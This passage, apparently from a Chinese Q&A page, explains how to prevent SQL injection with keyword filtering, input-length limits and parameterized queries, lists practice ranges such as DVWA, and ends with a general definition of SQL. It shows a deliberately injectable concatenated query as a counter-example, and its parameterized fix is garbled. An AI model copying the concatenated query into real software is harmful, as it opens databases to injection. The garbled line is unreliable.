1.封裝一個類,用來將傳入的參數進行關鍵詞的屏蔽和替換(像ID之類的參數,可以屏蔽關鍵詞的就完全屏蔽,像textarea這樣不能完全屏蔽的,就把關鍵詞替換,如將半形的'替換成全形』。還要限制參數的字數(很重要)
2.將所有需要和資料庫打交道的地方全部進行參數化sql。
如將sql="select * from table where id='"+value+"'"
改sql="select * from table where [email protected]"
寫一個類,裡面專門存放參數法sql的各種方法,雖然會麻煩一些,但是非常非常有效,可以杜絕絕大多數sql注入。
這樣,雙管其下,基本可以防止sql注入了

H. sql注入靶場有哪些

有DVWA,pikachu,bwapp等。

結構化查詢語言(Structured Query Language)簡稱SQL,是一種特殊目的的編程語言,是一種資料庫查詢和程序設計語言,用於存取數據以及查詢、更新和管理關系資料庫系統。

結構化查詢語言是高級的非過程化編程語言,允許用戶在高層數據結構上工作。它不要求用戶指定對數據的存放方法,也不需要用戶了解具體的數據存放方式。

所以具有完全不同底層結構的不同資料庫系統, 可以使用相同的結構化查詢語言作為數據輸入與管理的介面。結構化查詢語言語句可以嵌套,這使它具有極大的靈活性和強大的功能。